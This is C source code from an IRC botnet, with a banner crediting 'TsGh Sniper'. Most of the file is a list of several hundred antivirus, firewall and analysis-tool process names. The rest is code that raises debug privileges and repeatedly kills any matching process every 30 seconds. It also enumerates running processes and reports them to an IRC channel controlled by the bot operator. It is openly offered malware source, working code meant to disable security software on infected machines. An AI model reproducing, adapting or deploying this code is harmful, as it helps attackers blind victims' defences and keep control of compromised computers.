/////////////////////////////////////////
///                                   ///
///  TsGh By TsGh Sniper              ///
///                                   ///
/////////////////////////////////////////


#include "includes.h"
#include "functions.h"
#include "externs.h"

#ifndef NO_PROCESS

// globals
#ifndef NO_AVFW_KILL
int killer_delay = 30000;

//	 660 AV/FW 
char *kill_list[]={
	"AVPCC.EXE",
	"ACKWIN32.EXE",
	"ADAWARE.EXE",
	"ADVXDWIN.EXE",
	"AGENTSVR.EXE",
	"AGENTW.EXE",
	"ALERTSVC.EXE",
	"ALEVIR.EXE",
	"ALOGSERV.EXE",
	"AMON9X.EXE",
	"ANTI-TROJAN.EXE",
	"ANTIVIRUS.EXE",
	"ANTS.EXE",
	"APIMONITOR.EXE",
	"APLICA32.EXE",
	"APVXDWIN.EXE",
	"ARR.EXE",
	"ATCON.EXE",
	"ATGUARD.EXE",
	"ATRO55EN.EXE",
	"ATUPDATER.EXE",
	"ATUPDATER.EXE",
	"ATWATCH.EXE",
	"AU.EXE",
	"AUPDATE.EXE",
	"AUPDATE.EXE",
	"AUTODOWN.EXE",
	"AUTODOWN.EXE",
	"AUTOTRACE.EXE",
	"AUTOTRACE.EXE",
	"AUTOUPDATE.EXE",
	"AUTOUPDATE.EXE",
	"AVCONSOL.EXE",
	"AVE32.EXE",
	"AVGCC32.EXE",
	"AVGCTRL.EXE",
	"AVGNT.EXE",
	"AVGSERV.EXE",
	"AVGSERV9.EXE",
	"AVGUARD.EXE",
	"AVGW.EXE",
	"AVKPOP.EXE",
	"AVKSERV.EXE",
	"AVKSERVICE.EXE",
	"AVKWCTl9.EXE",
	"AVLTMAIN.EXE",
	"AVNT.EXE",
	"AVP.EXE",
	"AVP32.EXE",
	"AVPCC.EXE",
	"AVPDOS32.EXE",
	"AVPM.EXE",
	"AVPTC32.EXE",
	"AVPUPD.EXE",
	"AVPUPD.EXE",
	"AVSCHED32.EXE",
	"AVSYNMGR.EXE",
	"AVWIN95.EXE",
	"AVWINNT.EXE",
	"AVWUPD.EXE",
	"AVWUPD32.EXE",
	"AVWUPD32.EXE",
	"AVWUPSRV.EXE",
	"AVXMONITOR9X.EXE",
	"AVXMONITORNT.EXE",
	"AVXQUAR.EXE",
	"AVXQUAR.EXE",
	"BACKWEB.EXE",
	"BARGAINS.EXE",
	"BD_PROFESSIONAL.EXE",
	"BEAGLE.EXE",
	"BELT.EXE",
	"BIDEF.EXE",
	"BIDSERVER.EXE",
	"BIPCP.EXE",
	"BIPCPEVALSETUP.EXE",
	"BISP.EXE",
	"BLACKD.EXE",
	"BLACKICE.EXE",
	"BLSS.EXE",
	"BOOTCONF.EXE",
	"BOOTWARN.EXE",
	"BORG2.EXE",
	"BPC.EXE",
	"BRASIL.EXE",
	"BS120.EXE",
	"BUNDLE.EXE",
	"BVT.EXE",
	"CCEVTMGR.EXE"
	"CSINJECT.EXE",
	"CCAPP.EXE",
	"CCEVTMGR.EXE",
	"CCPXYSVC.EXE",
	"CDP.EXE",
	"CFD.EXE",
	"CFGWIZ.EXE",
	"CFIADMIN.EXE",
	"CFIAUDIT.EXE",
	"CFIAUDIT.EXE",
	"CFINET.EXE",
	"CFINET32.EXE",
	"CLAW95CF.EXE",
	"CLEAN.EXE",
	"CLEANER.EXE",
	"CLEANER3.EXE",
	"CLEANPC.EXE",
	"CLICK.EXE",
	"CMD32.EXE",
	"CMESYS.EXE",
	"CMGRDIAN.EXE",
	"CMON016.EXE",
	"CONNECTIONMONITOR.EXE",
	"CPD.EXE",
	"CPF9X206.EXE",
	"CPFNT206.EXE",
	"CTRL.EXE",
	"CV.EXE",
	"CWNB181.EXE",
	"CWNTDWMO.EXE",
	"Claw95.EXE",
	"CLAW95CF.EXE",
	"DATEMANAGER.EXE",
	"DCOMX.EXE",
	"DEFALERT.EXE",
	"DEFSCANGUI.EXE",
	"DEFWATCH.EXE",
	"DEPUTY.EXE",
	"DIVX.EXE",
	"DLLCACHE.EXE",
	"DLLREG.EXE",
	"DOORS.EXE",
	"DPF.EXE",
	"DPFSETUP.EXE",
	"DPPS2.EXE",
	"DRWATSON.EXE",
	"DRWEB32.EXE",
	"DRWEBUPW.EXE",
	"DSSAGENT.EXE",
	"DVP95.EXE",
	"DVP95_0.EXE",
	"ECENGINE.EXE",
	"EFPEADM.EXE",
	"EMSW.EXE",
	"ENT.EXE",
	"ESAFE.EXE",
	"ESCANH95.EXE",
	"ESCANHNT.EXE",
	"ESCANV95.EXE",
	"ESPWATCH.EXE",
	"ETHEREAL.EXE",
	"ETRUSTCIPE.EXE",
	"EVPN.EXE",
	"EXANTIVIRUS-CNET.EXE",
	"EXE.AVXW.EXE",
	"EXPERT.EXE",
	"EXPLORE.EXE",
	"F-RBOT.EXE",
	"F-SDBOT.EXE",
	"F-SPYBOT.EXE",
	"F-AGOBOT.EXE",
	"F-RBOT.EXE",
	"F-RXBOT.EXE",
	"F-AV.EXE",
	"F-PHATBOT.EXE",
	"F-SPYBOT.EXE",
	"F-FW.EXE",
	"F-RBOT.EXE",
	"F-AGNT95.EXE",
	"F-PROT.EXE",
	"F-PROT95.EXE",
	"F-STOPW.EXE",
	"FAMEH32.EXE",
	"FAST.EXE",
	"FCH32.EXE",
	"FIH32.EXE",
	"FINDVIRU.EXE",
	"FIREWALL.EXE",
	"FLOWPROTECTOR.EXE",
	"FNRB32.EXE",
	"FP-WIN.EXE",
	"FP-WIN_TRIAL.EXE",
	"FPROT.EXE",
	"FRW.EXE",
	"FSAA.EXE",
	"FSAV.EXE",
	"FSAV32.EXE",
	"FSAV530STBYB.EXE",
	"FSAV530WTBYB.EXE",
	"FSAV95.EXE",
	"FSGK32.EXE",
	"FSM32.EXE",
	"FSMA32.EXE",
	"FSMB32.EXE",
	"GATOR.EXE",
	"GBMENU.EXE",
	"GBPOLL.EXE",
	"GENERICS.EXE",
	"GMT.EXE",
	"GUARD.EXE",
	"GUARDDOG.EXE",
	"HIJACKTHIS.EXE",
	"HACKTRACERSETUP.EXE",
	"HBINST.EXE",
	"HBSRV.EXE",
	"HOTACTIO.EXE",
	"HOTPATCH.EXE",
	"HTLOG.EXE",
	"HTPATCH.EXE",
	"HWPE.EXE",
	"HXDL.EXE",
	"HXIUL.EXE",
	"IAMAPP.EXE",
	"IAMSERV.EXE",
	"IAMSTATS.EXE",
	"IBMASN.EXE",
	"IBMAVSP.EXE",
	"ICLOAD95.EXE",
	"ICLOADNT.EXE",
	"ICMON.EXE",
	"ICSUPP95.EXE",
	"ICSUPP95.EXE",
	"ICSUPPNT.EXE",
	"IDLE.EXE",
	"IEDLL.EXE",
	"IEDRIVER.EXE",
	"IEXPLORER.EXE",
	"IFACE.EXE",
	"IFW2000.EXE",
	"INETLNFO.EXE",
	"INFUS.EXE",
	"INFWIN.EXE",
	"INIT.EXE",
	"INTDEL.EXE",
	"INTREN.EXE",
	"IOMON98.EXE",
	"IPARMOR.EXE",
	"IRIS.EXE",
	"ISASS.EXE",
	"ISRV95.EXE",
	"ISTSVC.EXE",
	"JAMMER.EXE",
	"JDBGMRG.EXE",
	"JEDI.EXE",
	"KAVLITE40ENG.EXE",
	"KAVPERS40ENG.EXE",
	"KAVPF.EXE",
	"KEENVALUE.EXE",
	"KERIO-PF-213-EN-WIN.EXE",
	"KERIO-WRL-421-EN-WIN.EXE",
	"KERIO-WRP-421-EN-WIN.EXE",
	"KERNEL32.EXE",
	"KILLPROCESSSETUP161.EXE",
	"LAUNCHER.EXE",
	"LDNETMON.EXE",
	"LDPRO.EXE",
	"LDPROMENU.EXE",
	"LDSCAN.EXE",
	"LNETINFO.EXE",
	"LOADER.EXE",
	"LOCALNET.EXE",
	"LOCKDOWN.EXE",
	"LOCKDOWN2000.EXE",
	"LOOKOUT.EXE",
	"LORDPE.EXE",
	"LSETUP.EXE",
	"LUALL.EXE",
	"LUALL.EXE",
	"LUAU.EXE",
	"LUCOMSERVER.EXE",
	"LUINIT.EXE",
	"LUSPT.EXE",
	"MAPISVC32.EXE",
	"MCAGENT.EXE",
	"MCMNHDLR.EXE",
	"MCSHIELD.EXE",
	"MCTOOL.EXE",
	"MCUPDATE.EXE",
	"MCUPDATE.EXE",
	"MCVSRTE.EXE",
	"MCVSSHLD.EXE",
	"MD.EXE",
	"MFIN32.EXE",
	"MFW2EN.EXE",
	"MFWENG3.02D30.EXE",
	"MGAVRTCL.EXE",
	"MGAVRTE.EXE",
	"MGHTML.EXE",
	"MGUI.EXE",
	"MINILOG.EXE",
	"MMOD.EXE",
	"MONITOR.EXE",
	"MOOLIVE.EXE",
	"MOSTAT.EXE",
	"MPFAGENT.EXE",
	"MPFSERVICE.EXE",
	"MPFTRAY.EXE",
	"MRFLUX.EXE",
	"MSCONFIG.EXE"
	"MSAPP.EXE",
	"MSBB.EXE",
	"MSBLAST.EXE",
	"MSCACHE.EXE",
	"MSCCN32.EXE",
	"MSCMAN.EXE",
	"MSDM.EXE",
	"MSDOS.EXE",
	"MSIEXEC16.EXE",
	"MSINFO32.EXE",
	"MSLAUGH.EXE",
	"MSMGT.EXE",
	"MSMSGRI32.EXE",
	"MSSMMC32.EXE",
	"MSSYS.EXE",
	"MSVXD.EXE",
	"MU0311AD.EXE",
	"MWATCH.EXE",
	"N32SCANW.EXE",
	"NAV.EXE",
	"AUTO-PROTECT.NAV80TRY.EXE",
	"NAVAP.NAVAPSVC.EXE",
	"NAVAPSVC.EXE",
	"NAVAPW32.EXE",
	"NAVDX.EXE",
	"NAVENGNAVEX15.NAVLU32.EXE",
	"NAVLU32.EXE",
	"NAVNT.EXE",
	"NAVSTUB.EXE",
	"NAVW32.EXE",
	"NAVWNT.EXE",
	"NC2000.EXE",
	"NCINST4.EXE",
	"NDD32.EXE",
	"NEOMONITOR.EXE",
	"NEOWATCHLOG.EXE",
	"NETSTAT.EXE",
	"NETARMOR.EXE",
	"NETD32.EXE",
	"NETINFO.EXE",
	"NETMON.EXE",
	"NETSCANPRO.EXE",
	"NETSPYHUNTER-1.2.EXE",
	"NETUTILS.EXE",
	"NISSERV.EXE",
	"NISUM.EXE",
	"NMAIN.EXE",
	"NOD32.EXE",
	"NORMIST.EXE",
	"NORTON_INTERNET_SECU_3.0_407.EXE",
	"NOTSTART.EXE",
	"NPF40_TW_98_NT_ME_2K.EXE",
	"NPFMESSENGER.EXE",
	"NPROTECT.EXE",
	"NPSCHECK.EXE",
	"NPSSVC.EXE",
	"NSCHED32.EXE",
	"NSSYS32.EXE",
	"NSTASK32.EXE",
	"NSUPDATE.EXE",
	"NT.EXE",
	"NTRTSCAN.EXE",
	"NTVDM.EXE",
	"NTXconfig.EXE",
	"NUI.EXE",
	"NUPGRADE.EXE",
	"NUPGRADE.EXE",
	"NVARCH16.EXE",
	"NVC95.EXE",
	"NVSVC32.EXE",
	"NWINST4.EXE",
	"NWSERVICE.EXE",
	"NWTOOL16.EXE",
	"OGRC.EXE",
	"OLLYDBG.EXE",
	"ONSRVR.EXE",
	"OPTIMIZE.EXE",
	"OSTRONET.EXE",
	"OTFIX.EXE",
	"OUTPOST.EXE",
	"OUTPOST.EXE",
	"OUTPOSTINSTALL.EXE",
	"OUTPOSTPROINSTALL.EXE",
	"PADMIN.EXE",
	"PANIXK.EXE",
	"PATCH.EXE",
	"PAVCL.EXE",
	"PAVPROXY.EXE",
	"PAVSCHED.EXE",
	"PAVW.EXE",
	"PCC2002S902.EXE",
	"PCC2K_76_1436.EXE",
	"PCCIOMON.EXE",
	"PCCNTMON.EXE",
	"PCCWIN97.EXE",
	"PCCWIN98.EXE",
	"PCDSETUP.EXE",
	"PCFWALLICON.EXE",
	"PCIP10117_0.EXE",
	"PCSCAN.EXE",
	"PDSETUP.EXE",
	"PENIS.EXE",
	"PERISCOPE.EXE",
	"PERSFW.EXE",
	"PERSWF.EXE",
	"PF2.EXE",
	"PFWADMIN.EXE",
	"PGMONITR.EXE",
	"PINGSCAN.EXE",
	"PLATIN.EXE",
	"POP3TRAP.EXE",
	"POPROXY.EXE",
	"POPSCAN.EXE",
	"PORTDETECTIVE.EXE",
	"PORTMONITOR.EXE",
	"POWERSCAN.EXE",
	"PPINUPDT.EXE",
	"PPTBC.EXE",
	"PPVSTOP.EXE",
	"PRIZESURFER.EXE",
	"PRMT.EXE",
	"PRMVR.EXE",
	"PROCDUMP.EXE",
	"PROCESSMONITOR.EXE",
	"PROCEXPLORERV1.0.EXE",
	"PROGRAMAUDITOR.EXE",
	"PROPORT.EXE",
	"PROTECTX.EXE",
	"PSPF.EXE",
	"PURGE.EXE",
	"PUSSY.EXE",
	"PVIEW95.EXE",
	"QDCSFS.EXE",
	"QCONSOLE.EXE",
	"QSERVER.EXE",
	"RAPAPP.EXE",
	"RAV7.EXE",
	"RAV7WIN.EXE",
	"RAV8WIN32ENG.EXE",
	"RAY.EXE", "RB32.EXE",
	"RCSYNC.EXE",
	"REALMON.EXE",
	"REGED.EXE",
	"REGEDT32.EXE",
	"REGEDIT.EXE",
	"RESCUE.EXE",
	"RESCUE32.EXE",
	"RRGUARD.EXE",
	"RSHELL.EXE",
	"RTVSCAN.EXE",
	"RTVSCN95.EXE",
	"RULAUNCH.EXE",
	"RUN32DLL.EXE",
	"RUNDLL.EXE",
	"RUNDLL16.EXE",
	"RUXDLL32.EXE",
	"SBSERV.EXE",
	"SYMTRAY.EXE",
	"SAFEWEB.EXE",
	"SAHAGENT.EXE",
	"SAVE.EXE",
	"SAVENOW.EXE",
	"SBSERV.EXE",
	"SC.EXE",
	"SCAM32.EXE",
	"SCAN32.EXE",
	"SCAN95.EXE",
	"SCANPM.EXE",
	"SCRSCAN.EXE",
	"SCRSVR.EXE",
	"SCVHOST.EXE",
	"SD.EXE",
	"SERV95.EXE",
	"SERVICE.EXE",
	"SERVLCE.EXE",
	"SERVLCES.EXE",
	"SETUPVAMEEVAL.EXE",
	"SETUP_FLOWPROTECTOR_US.EXE",
	"SFC.EXE",
	"SGSSFW32.EXE",
	"SH.EXE",
	"SHELLSPYINSTALL.EXE",
	"SHN.EXE",
	"SHOWBEHIND.EXE",
	"SMC.EXE",
	"SMS.EXE",
	"SMSS32.EXE",
	"SOAP.EXE",
	"SOFI.EXE",
	"SPERM.EXE",
	"SPF.EXE",
	"SPHINX.EXE", 
	"SPOLER.EXE",
	"SPOOLCV.EXE",
	"SPOOLSV32.EXE",
	"SPYXX.EXE",
	"SREXE.EXE",
	"SRNG.EXE",
	"SS3EDIT.EXE",
	"SSGRATE.EXE",
	"SSG_4104.EXE",
	"ST2.EXE",
	"START.EXE",
	"STCLOADER.EXE",
	"SUPFTRL.EXE",
	"SUPPORT.EXE",
	"SUPPORTER5.EXE",
	"SVC.EXE",
	"SVCHOSTC.EXE",
	"SVCHOSTS.EXE",
	"SVSHOST.EXE",
	"SWEEP95.EXE",
	"SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE",
	"SYMPROXYSVC.EXE",
	"SYMTRAY.EXE",
	"SYSEDIT.EXE",
	"SYSTEM.EXE",
	"SYSTEM32.EXE",
	"SYSUPD.EXE",
	"TASKMG.EXE",
	"TASKMO.EXE",
	"TAUMON.EXE",
	"TBSCAN.EXE",
	"TC.EXE",
	"TCA.EXE",
	"TCM.EXE",
	"TDS-3.EXE",
	"TDS2-98.EXE",
	"TDS2-NT.EXE",
	"TEEKIDS.EXE",
	"TFAK.EXE",
	"TFAK5.EXE",
	"TGBOB.EXE",
	"TITANIN.EXE",
	"TITANINXP.EXE",
	"TRACERT.EXE",
	"TRICKLER.EXE",
	"TRJSCAN.EXE",
	"TRJSETUP.EXE",
	"TROJANTRAP3.EXE",
	"TSADBOT.EXE",
	"TVMD.EXE",
	"TVTMD.EXE",
	"UNDOBOOT.EXE",
	"UPDAT.EXE",
	"UPDATE.EXE",
	"UPDATE.EXE",
	"UPGRAD.EXE",
	"UTPOST.EXE",
	"VFY.EXE",
	"VBCMSERV.EXE",
	"VBCONS.EXE",
	"VBUST.EXE",
	"VBWIN9X.EXE",
	"VBWINNTW.EXE",
	"VCSETUP.EXE",
	"VET32.EXE",
	"VET95.EXE",
	"VETTRAY.EXE",
	"VFSETUP.EXE",
	"VIR-HELP.EXE",
	"VIRUSMDPERSONALFIREWALL.EXE",
	"VNLAN300.EXE",
	"VNPC3000.EXE",
	"VPC32.EXE",
	"VPC42.EXE",
	"VPFW30S.EXE",
	"VPTRAY.EXE",
	"VSCAN40.EXE",
	"VSCENU6.02D30.EXE",
	"VSCHED.EXE",
	"VSECOMR.EXE",
	"VSHWIN32.EXE",
	"VSISETUP.EXE",
	"VSMAIN.EXE",
	"VSMON.EXE",
	"VSSTAT.EXE",
	"VSWIN9XE.EXE",
	"VSWINNTSE.EXE",
	"VSWINPERSE.EXE",
	"W32DSM89.EXE",
	"W9X.EXE",
	"WATCHDOG.EXE",
	"WEBDAV.EXE",
	"WEBSCANX.EXE",
	"WEBTRAP.EXE",
	"WFINDV32.EXE",
	"WGFE95.EXE",
	"WHOSWATCHINGME.EXE",
	"WIMMUN32.EXE",
	"WIN-BUGSFIX.EXE",
	"WIN32.EXE",
	"WIN32US.EXE",
	"WINACTIVE.EXE",
	"WINDOW.EXE",
	"WINDOWS.EXE",
	"WININETD.EXE",
	"WININIT.EXE",
	"WININITX.EXE",
	"WINLOGIN.EXE",
	"WINMAIN.EXE",
	"WINNET.EXE",
	"WINPPR32.EXE",
	"WINRECON.EXE",
	"WINSERVN.EXE",
	"WINSSK32.EXE",
	"WINSTART.EXE",
	"WINSTART001.EXE",
	"WINTSK32.EXE",
	"WINUPDATE.EXE",
	"WKUFIND.EXE",
	"WNAD.EXE",
	"WNT.EXE",
	"WRADMIN.EXE",
	"WRCTRL.EXE",
	"WSBGATE.EXE",
	"WUPDATER.EXE",
	"WUPDT.EXE",
	"WYVERNWORKSFIREWALL.EXE",
	"XPF202EN.EXE",
	"ZAPRO.EXE",
	"ZAPSETUP3001.EXE",
	"ZATUTOR.EXE",
	"ZONALM2601.EXE",
	"ZONEALARM.EXE",
	"_AVP32.EXE",
	"_AVPCC.EXE",
	"_AVPM.EXE",
};
#endif

int listProcesses(SOCKET sock, char *chan, BOOL notice, char *proccess, BOOL killthread, BOOL full)
{
	char sendbuf[IRCLINE];

	HANDLE hProcess, hProcess2;
	PROCESSENTRY32 pe32 = {0};
	MODULEENTRY32 me32 = {0};
	
	if (fCreateToolhelp32Snapshot && fProcess32First && fProcess32Next) {
		AdjustPrivileges(SE_DEBUG_NAME, TRUE);
		if ((hProcess = fCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0)) != INVALID_HANDLE_VALUE) {
			pe32.dwSize = sizeof(PROCESSENTRY32);
			if (fProcess32First(hProcess, &pe32)) {
				while (fProcess32Next(hProcess, &pe32)) {
					if (killthread) {
						#ifndef NO_AVFW_KILL
						for(int c = 0;c < (sizeof(kill_list) / sizeof(LPTSTR));c++) {
							if (lstrcmpi(pe32.szExeFile,kill_list[c]) == 0) {
 								if (hProcess2=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID))
									if (!TerminateProcess(hProcess2,0))
										CloseHandle(hProcess2);

								break;
							}
						}
						#endif
					}
					else if (!proccess) {
						if (chan) {
							hProcess2 = fCreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe32.th32ProcessID);
							me32.dwSize = sizeof(MODULEENTRY32);
							if (full) {
								if (fModule32First(hProcess2, &me32))
									sprintf(sendbuf," %s (%d)",me32.szExePath,pe32.th32ProcessID);
								else
									sprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
							} else
								sprintf(sendbuf," %s (%d)",pe32.szExeFile,pe32.th32ProcessID);
							irc_privmsg(sock,chan,sendbuf,notice,TRUE);
							CloseHandle(hProcess2);
						}
					}
					else {
						if (strcmp(pe32.szExeFile,proccess) == 0) {
 							hProcess2 = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
							CloseHandle(hProcess);

							if (!TerminateProcess(hProcess2,0)) {
								CloseHandle(hProcess2);

								return 0;
							}
							return 1;
						 }
					}
				} 
			}
			CloseHandle(hProcess);
		}
		AdjustPrivileges(SE_DEBUG_NAME, FALSE);
	}

 	return 0;
}

DWORD WINAPI listProcessesThread(LPVOID param) 
{
	char sendbuf[IRCLINE];

	LPROC lproc = *((LPROC *)param);
	LPROC *lprocp = (LPROC *)param;
	lprocp->gotinfo = TRUE;

	sprintf(sendbuf,"[PROC]: Listing processes:");
	if (!lproc.silent) irc_privmsg(lproc.sock,lproc.chan,sendbuf,lproc.notice);
	
	if (listProcesses(lproc.sock,lproc.chan,lproc.notice,NULL, FALSE, lproc.full) == 0)
		sprintf(sendbuf,"[PROC]: Process list completed.");
	else 
		sprintf(sendbuf,"[PROC]: Process list failed.");

	if (!lproc.silent) irc_privmsg(lproc.sock, lproc.chan, sendbuf, lproc.notice);
	addlog(sendbuf);

	clearthread(lproc.threadnum);

	ExitThread(0);
}

#ifndef NO_AVFW_KILL
DWORD WINAPI KillAVThread(LPVOID param)
{
	int threadnum = (int)param;

	while (1) {
		listProcesses(0,NULL,NULL,FALSE,NULL,TRUE);
		Sleep(killer_delay);
	}
	clearthread(threadnum);

	ExitThread(0);
}
#endif
#endif

int killProcess(int pid)
{
	int ret=1;

 	HANDLE pHandle;
	
	if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) != NULL)
		if(!TerminateProcess(pHandle,0)) {
			ret=0;
			CloseHandle(pHandle);
		}

	return ret;
}

BOOL AdjustPrivileges(char *pPriv, BOOL add)
{
	BOOL bRet = FALSE;
	TOKEN_PRIVILEGES tkp;
 	HANDLE hToken;

	if (!fOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
		return bRet;

	if (!fLookupPrivilegeValue(NULL, pPriv, &tkp.Privileges[0].Luid)) {
		CloseHandle(hToken);
		return bRet;
	}

	tkp.PrivilegeCount = 1; 
	if (add)
		tkp.Privileges[0].Attributes |= SE_PRIVILEGE_ENABLED;
	else 
		tkp.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
			tkp.Privileges[0].Attributes);

	bRet=fAdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES) NULL, 0);
	
	CloseHandle(hToken);

	return bRet;
}
